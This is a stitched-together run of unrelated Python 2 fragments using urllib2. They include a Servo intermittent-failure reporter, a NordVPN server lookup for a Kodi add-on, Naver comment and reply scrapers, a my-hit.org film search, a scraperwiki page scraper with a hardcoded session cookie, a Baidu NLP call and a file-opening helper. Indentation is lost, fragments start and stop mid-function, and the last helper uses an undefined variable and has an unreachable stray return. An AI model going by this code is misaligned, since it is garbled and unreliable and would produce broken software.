if encoded_auth:
request.add_header("Authorization", "Basic %s" % encoded_auth)
search = urllib2.urlopen(request)
data = json.load(search)
if data['total_count'] == 0:
actual_failures += [failure]
else:
intermittents += [failure]
if reporter_api:
if reporter_api == 'default':
reporter_api = "http://build.servo.org/intermittent-failure-tracker"
if reporter_api.endswith('/'):
reporter_api = reporter_api[0:-1]
reported = set()
proc = subprocess.Popen(
["git", "log", "--merges", "--oneline", "-1"],
stdout=subprocess.PIPE)
(last_merge, _) = proc.communicate()
# Extract the issue reference from "abcdef Auto merge of #NNN"
pull_request = int(last_merge.split(' ')[4][1:])
for intermittent in intermittents:
if intermittent['test'] in reported:
continue
reported.add(intermittent['test'])
data = {
'test_file': intermittent['test'],
'platform': platform.system(),
'builder': os.environ.get('BUILDER_NAME', 'BUILDER NAME MISSING'),
'number': pull_request,
}
request = urllib2.Request("%s/record.py" % reporter_api, urllib.urlencode(data))
request.add_header('Accept', 'application/json')
response = urllib2.urlopen(request)
data = json.load(response)
if data['status'] != "success":
print('Error reporting test failure: ' + data['error'])
if log_intermittents:
with open(log_intermittents, "w") as intermittents_file:
for intermittent in intermittents:
json.dump(intermittent, intermittents_file)
print("\n", end='', file=intermittents_file)
if len(actual_failures) == 0:
return 0
output = open(log_filteredsummary, "w") if log_filteredsummary else sys.stdout
for failure in actual_failures:
json.dump(failure, output)
print("\n", end='', file=output)
if output is not sys.stdout:
output.close()
return 1
def getNordVPNLocation(vpn_provider, location, server_count, just_name):
# Return friendly name and .ovpn file name
# Given the location, find the country ID of the servers
addon = xbmcaddon.Addon(getID())
filename = getAddonPath(True, vpn_provider + "/" + NORD_LOCATIONS)
# If the list of countries doesn't exist (this can happen after a reinstall)
# then go and do the pre-fetch first. Otherwise this shouldn't be necessary
try:
if not xbmcvfs.exists(filename):
getNordVPNPreFetch(vpn_provider)
except Exception as e:
errorTrace(
"alternativeNord.py",
"Couldn't download the list of countries to get ID for " +
vpn_provider + " from " + filename)
errorTrace("alternativeNord.py", str(e))
return "", "", "", False
try:
locations_file = open(filename, 'r')
locations = locations_file.readlines()
locations_file.close()
id = ""
for l in locations:
country, id = l.split(",")
id = id.strip(' \t\n\r')
if location == country:
break
if id == "":
errorTrace(
"alternativeNord.py", "Couldn't retrieve location " +
location + " for " + vpn_provider + " from " + filename)
return "", "", "", False
except Exception as e:
errorTrace(
"alternativeNord.py",
"Couldn't read the list of countries to get ID for " +
vpn_provider + " from " + filename)
errorTrace("alternativeNord.py", str(e))
return "", "", "", False
# Generate the file name from the location
location_filename = getNordVPNLocationName(vpn_provider, location)
if just_name: return location, location_filename, "", False
# Download the JSON object of servers
response = ""
error = True
try:
if "UDP" in addon.getSetting("vpn_protocol"): protocol = "udp"
else: protocol = "tcp"
download_url = "https://api.nordvpn.com/v1/servers/recommendations?filters[servers_technologies][identifier]=openvpn_" + protocol + "&filters[country_id]=" + id + "&filters[servers_groups][identifier]=legacy_standard"
if ifHTTPTrace():
infoTrace(
"alternativeNord.py",
"Downloading server info for " + location + " with ID " + id +
" and protocol " + protocol + " using " + download_url)
else:
debugTrace("Downloading server info for " + location +
" with ID " + id + " and protocol " + protocol)
token = getTokenNordVPN()
req = urllib2.Request(download_url)
req.add_header("Authorization", "token:" + token)
t_before = now()
response = urllib2.urlopen(req)
server_data = json.load(response)
t_after = now()
response.close()
error = False
if ifJSONTrace():
infoTrace(
"alternativeNord.py",
"JSON received is \n" + json.dumps(server_data, indent=4))
if t_after - t_before > TIME_WARN:
infoTrace(
"alternativeNord.py", "Downloading server info for " +
location + " with ID " + id + " and protocol " + protocol +
" took " + str(t_after - t_before) + " seconds")
except urllib2.HTTPError as e:
errorTrace(
"alternativeNord.py", "Couldn't retrieve the server info for " +
vpn_provider + " location " + location + ", ID " + id)
errorTrace("alternativeNord.py", "API call was " + download_url)
errorTrace("alternativeNord.py",
"Response was " + str(e.code) + " " + e.reason)
errorTrace("alternativeNord.py", e.read())
except Exception as e:
errorTrace(
"alternativeNord.py", "Couldn't retrieve the server info for " +
vpn_provider + " location " + location + ", ID " + id)
errorTrace("alternativeNord.py", "API call was " + download_url)
errorTrace("alternativeNord.py",
"Response was " + str(type(e)) + " " + str(e))
if error:
# If there's an API connectivity issue but a location file exists then use that
# Won't have the latest best location in it though
if xbmcvfs.exists(location_filename):
infoTrace("alternativeNord.py",
"Using existing " + location + " file")
return location, location_filename, "", False
else:
return "", "", "", False
# First server is the best one, but if it didn't connect last time then skip it. The last attempted server
# will be cleared on a restart, or a successful connection. If there are no more connections to try, then
# it will try the first connection again. However, if this is > 4th attempt to connect outside of the
# validation then it'll always default to the best as it's likely there's a network rather than server problem
last = getVPNRequestedServer()
if not last == "" and server_count < 5:
debugTrace(
"Server " + last +
" didn't connect last time so will be skipping to the next server."
)
last_found = False
else:
last = ""
last_found = True
first_server = ""
for item in server_data:
name = item["name"]
server = item["hostname"]
status = item["status"]
load = str(item["load"])
#debugTrace("Next is " + name + ", " + server + ", " + status + ". Load is " + load)
if status == "online":
if first_server == "": first_server = server
if last_found:
debugTrace("Using " + name + ", " + server +
", online. Load is " + load)
break
if server == last: last_found = True
server = ""
if server == "": server = first_server
setVPNRequestedServer(server)
# Fetch the ovpn file for the server
if not server == "":
if not getNordVPNOvpnFile(server, protocol, location_filename):
if not xbmcvfs.exists(location_filename):
return "", "", "", False
return location, location_filename, "", False
else:
return "", "", "", False
def get_comments(self, oid, aid):
print 'Current article : oid %s, aid %s' % (oid, aid)
pagesize = 20
page = 0
#while(pagesize * page < total):
while True:
page += 1
urlform = '''https://apis.naver.com/commentBox/cbox5/web_naver_list_jsonp.json?
ticket=news&
templateId=default_ent&
_callback=&
lang=ko&
country=KR&
objectId=news109%2C0003328307&
pageSize=20&
indexSize=10&
page=1&
initialize=true&
useAltSort=true&
replyPageSize=100&
sort=new&
'''
url = urlform\
.replace('\n', '')\
.replace('\t', '')\
.replace(' ', '')
url = url\
.replace(
'page=1',
'page=%d' % page)\
.replace(
'pageSize=20',
'pageSize=%d' % pagesize)\
.replace(
'objectId=news109' + '%2C' + '0003328307',
'objectId=news%s' % oid + '%2C' + '%s' % aid)
request = urllib2.Request(url)
request.add_header('host', 'apis.naver.com')
request.add_header(
'referer',
'http://entertain.naver.com/comment/list?oid=%s&aid=%s'\
% (oid, aid))
response = urllib2.urlopen(request)
raw = response.read().replace('\\x', '\\u00')
jsondata = json.loads(raw[10:-2].replace('"', "\""))
list_comments = []
try:
jsondata['result']['commentList']
except KeyError:
'No comments'
return []
for c in jsondata['result']['commentList']:
list_comments.append({
'commentNo': c['commentNo'],
'contents': c['contents'],
'maskedUserId': c['maskedUserId'],
'modTime': c['modTime'],
'objectId': c['objectId'],
'parentCommentNo': c['parentCommentNo'],
'profileUserId': c['profileUserId'],
'regTime': c['regTime'],
'userIdNo': c['userIdNo'],
'userName': c['userName']
})
return list_comments
def get(self, url):
req = urllib2.Request(url)
response = urllib2.urlopen(req)
return json.loads(response.read())
def get_replies(self, parentCommentNo, oid, aid, page=1):
urlform = '''https://apis.naver.com/commentBox/cbox/web_naver_list_jsonp.json?
ticket=news&
templateId=default_ent&
pool=cbox5&
_callback=&
lang=ko&country=KR&
objectId=news076%2C0002938677&
categoryId=&
pageSize=100&
indexSize=10&
groupId=&
parentCommentNo=615919102&
page=1&
userType=&
moreType=next'''\
.replace('\n', '')\
.replace('\t', '')\
.replace(' ', '')
url = urlform\
.replace(
'objectId=news076%%2C0002938677',
'objectId=news%s' % oid + '%2C' + '%s' % aid)\
.replace(
'parentCommentNo=615919102',
'parentCommentNo=%d'\
% parentCommentNo)\
.replace(
'page=1',
'page=%d' % page)
request = urllib2.Request(url)
request.add_header('host', 'apis.naver.com')
request.add_header(
'referer',
'http://entertain.naver.com/ranking/comment/list?oid=%s&aid=%s'\
% (str(oid), str(aid)))
response = urllib2.urlopen(request)
raw = response.read().replace('\\x', '\\u00').replace('"', "\"")
jsondata = json.loads(raw[10:-2])
list_replies = []
for c in jsondata['result']['commentList']:
list_replies.append({
'commentNo': c['commentNo'],
'contents': c['contents'],
'maskedUserId': c['maskedUserId'],
'modTime': c['modTime'],
'objectId': c['objectId'],
'parentCommentNo': c['parentCommentNo'],
# 'profileUserId' : c['profileUserId'],
'regTime': c['regTime'],
#'userIdNo' : c['userIdNo'],
'userName': c['userName']
})
return list_replies
def myhit_searching(name, year):
main_url = 'https://my-hit.org/search/'
slug = low(del_separator(name))
params = urllib.urlencode({
'q': name,
})
url = '%s?%s' % (main_url, params)
opener = give_me_cookie()
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 5.1; rv:10.0.1) Gecko/20100101 Firefox/10.0.1',
}
opener.addheaders = headers.items()
req = opener.open(urllib2.Request(url))
result = []
if req.getcode() == 200:
data = BeautifulSoup(req.read())
main_div = data.find('div', {'class': "film-list"})
if main_div:
for div in main_div.findAll('div', {'class': 'row'}, limit=20):
img = div.find('img', {'class': "img-rounded img-responsive"})
a = img.previous_element
title = a.get('title').encode('utf-8')
title_tmp = title.split(' / ')
title_tmp1, title_tmp2 = title_tmp if len(title_tmp) > 1 else (title_tmp[0], '')
title_slug1 = low(del_separator(title_tmp1))
title_slug2 = low(del_separator(title_tmp2))
film_url = 'https://my-hit.org%s' % a.get('href').encode('utf-8')
img = img.get('src').encode('utf-8')
img = 'https://my-hit.org/%s' % img.lstrip('/')
if slug == title_slug1 or slug == title_slug2:
details = div.find('ul', {'class': "list-unstyled"})
year_tmp = None
country = None
director = None
note = None
for li in details.findAll('li'):
tmp = li.b.string.encode('utf-8')
if tmp == 'Год:':
year_tmp = int(li.b.find_next('a').string.encode('utf-8').strip())
if tmp == 'Страна:':
country = [i.string.encode('utf-8') for i in li.findAll('a')]
country = ', '.join(country)
if tmp == 'Режиссер:':
director = [i.string.encode('utf-8') for i in li.findAll('a')]
director = ', '.join(director)
if tmp == 'Краткое описание:':
note = li.find('p')
if note:
note = note.text.encode('utf-8')
if year_tmp == year:
result.append({'title': title_tmp1, 'country': country, 'persons': director, 'link': film_url, 'img': img, 'note': note})
return result
import scraperwiki
import lxml.html
import urllib2
import urllib
print "Starting"
url = "http://www.britainsbestguides.org/search-results/"
header = { 'User-Agent' : 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11',
'Cookie': 'PHPSESSID=df061eae43d6ec1887d108fe5ea3a06a; __utma=204497347.924939506.1341998344.1342445910.1342787814.8; __utmb=204497347.1.10.1342787814; __utmc=204497347; __utmz=204497347.1341998344.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided)' }
req = urllib2.Request(url, None, header)
response = urllib2.urlopen(req)
print "Parsing"
root = lxml.html.fromstring(response.read())
for el in root.cssselect("#body div div div div div p a"):
page_url = "http://www.britainsbestguides.org" + el.get("href");
print page_url
page_html = scraperwiki.scrape(page_url)
page = lxml.html.fromstring(page_html)
name = page.cssselect("#body #profile_col1 table tr:nth-of-type(1) td.col2 p")
if name[0].text_content():
name = name[0].text_content()
else:
name = "empty"
# coding:utf-8
import urllib, urllib2, sys
import ssl
import json
from get_access_token import get_access_token
access_token = get_access_token()
url = 'https://aip.baidubce.com/rpc/2.0/nlp/v1/wordembedding?' \
'access_token='+access_token
post_data = {"query1": "百度", "query2": "谷歌", "tid": 1}
encodedata = json.dumps(post_data).encode('GBK')
request = urllib2.Request(url, encodedata)
request.add_header('Content-Type', 'application/json')
response = urllib2.urlopen(request)
content = response.read()
if (content):
print(content)
def get_filep(file_bdp_url, sftp_reference=False):
"""
opens a django file pointer to file_bdp_url
"""
logger.debug("file_bdp_url=%s" % file_bdp_url)
if '..' in file_bdp_url:
# .. allow url to potentially leave the user filesys. This would be bad.
raise InvalidInputError(".. not allowed in urls")
# scheme = urlparse(file_bdp_url).scheme
# http_file_url = _get_http_url(file_bdp_url)
# o = urlparse(http_file_url)
# mypath = str(o.path)
# location = o.netloc
(scheme, host, mypath, location, query_settings) = parse_bdpurl(file_bdp_url)
logger.debug("scheme=%s" % scheme)
logger.debug("mypath=%s" % mypath)
#if mypath[0] == os.path.sep:
# mypath = str(mypath[1:])
#logger.debug("mypath=%s" % mypath)
# query = parse_qsl(o.query)
# query_settings = dict(x[0:] for x in query)
if '@' in location:
location = location.split('@')[1]
if scheme == 'http':
import urllib2
req = urllib2.Request(o)
fp = urllib2.urlopen(req)
#content = response.read()
elif scheme == "ssh":
logger.debug("getting from hpc")
key_file = get_value('key_file', query_settings)
logger.debug('key_file=%s' % key_file)
if not key_file:
key_file = None # require None for ssh_settinglesss to skip keys
username = get_value('username', query_settings)
password = get_value('password', query_settings)
root_path = get_value('root_path', query_settings)
logger.debug("root_path=%s" % root_path)
paramiko_settings = {'username': username,
'password': password}
if key_file:
paramiko_settings['key_filename'] = key_file
ssh_settings = {'params': paramiko_settings,
'host': location,
'root': root_path + "/"}
logger.debug("ssh_settings=%s" % ssh_settings)
fs = RemoteStorage(settings=ssh_settings)
logger.debug("fs=%s" % fs)
logger.debug("mypath=%s" % mypath)
fp = fs.open(mypath)
logger.debug("fp opened")
logger.debug("fp_dict %s" % fp.__dict__)
#content = fp.read()
#logger.debug("content=%s" % content)
elif scheme == "tardis":
# TODO: implement GET of a datafile in a given exp and dataset
# parse file_bdp_url to extract tardis host, exp_id and dataset_id
exp_id = 0
dataset_id = 0
from chiminey.mytardis import retrieve_datafile
retrieve_datafile(file_bdp_url, exp_id, dataset_id)
# TODO: get content and make a file pointer out of it
return "a={{a}} b={{b}}"
raise NotImplementedError("tardis scheme not implemented")
elif scheme == "file":
root_path = get_value('root_path', query_settings)
logger.debug("self.root_path=%s" % root_path)
fs = LocalStorage(location=root_path + "/")
fp = fs.open(mypath)
#content = fs.open(mypath).read()
#logger.debug("content=%s" % content)
if sftp_reference:
return fp, fs
return fp
